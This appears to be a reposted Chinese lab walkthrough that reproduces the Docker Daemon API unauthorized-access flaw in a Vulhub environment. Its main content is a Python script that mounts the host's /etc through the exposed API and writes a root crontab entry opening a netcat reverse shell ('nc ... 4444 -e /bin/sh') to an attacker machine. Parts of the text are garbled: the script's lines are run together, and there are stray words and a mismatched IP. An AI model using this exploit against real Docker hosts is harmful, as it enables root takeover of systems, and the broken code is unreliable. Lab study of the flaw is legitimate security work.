Docker Daemon API 未授权访问漏洞复现

环境搭建

要复现该漏洞，首先需要一个功能正常的Docker环境。请按照以下步骤操作：

启动Docker服务

使用以下命令启动Docker服务：

systemctl start docker

获取VulHub镜像

克隆包含漏洞示例的GitHub仓库：

git clone --depth=1 https://github.com/vulhub/vulhub.git  ``

进入目标目录

使用以下命令进入VulHub中的相关子目录：

cd vulhub/docker/unauthorized-rce/

启动漏洞示例容器

使用Docker Compose启动一个Remind容器，该容器会用于触发漏洞：

docker-compose up -d

验证容器状态

使用以下命令查看当前运行的容器状态：

docker ps

容器应显示一个名为"unauthorized-rce"的容器运行中。此时，可以通过浏览器访问http://127.0.0.1:2375/version验证Docker Daemon API的状态。

漏洞复现

接下来，我们将引入一个简单的验证脚本来测试漏洞：

获取远程主机IP地址

确认Kali和CentOS主机的IP地址，例如：

Kali：192.138.164.134

CentOS：192.168.42.133

启动 listener 监听4444端口

在Kali机器上使用Netcat监听4444端口：

nc -lvvp 4444

测试漏洞

在CentOS机器上运行以下命令，尝试绕过Docker Daemon的权限检查：

import dockerclientfrom dockerclient import DockerClientclient = DockerClient(base_url='http://192.168.42.133:2375/')data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.138.164.134 4444 -e /bin/sh' > /tmp/etc/crontabs/root" ''', remove=True, volumes={ '/etc': { 'bind': '/tmp/etc', 'mode': 'rw' }})

验证

当脚本运行完成后，您应该看到以下内容：

腥鸭在Kali机器上显示正处于监听状态（如下图）:

[#] nc -lvvp 4444(Waiting for connection...)

脚本在CentOS机器上成功绕过权限检查，生成cron文件：

sh -c "echo '* * * * * /usr/bin/nc 192.138.164.134 4444 -e /bin/sh' > /tmp/etc/crontabs/root"

这样，说明我们成功触发了Docker Daemon API 的未授权访问漏洞。

参考资料

更多技术细节，请参考以下链接：

GitHub仓库 README

转载地址：http://nxzaz.baihongyu.com/

你可能感兴趣的文章

mysql中null和空字符串的区别与问题！

查看>>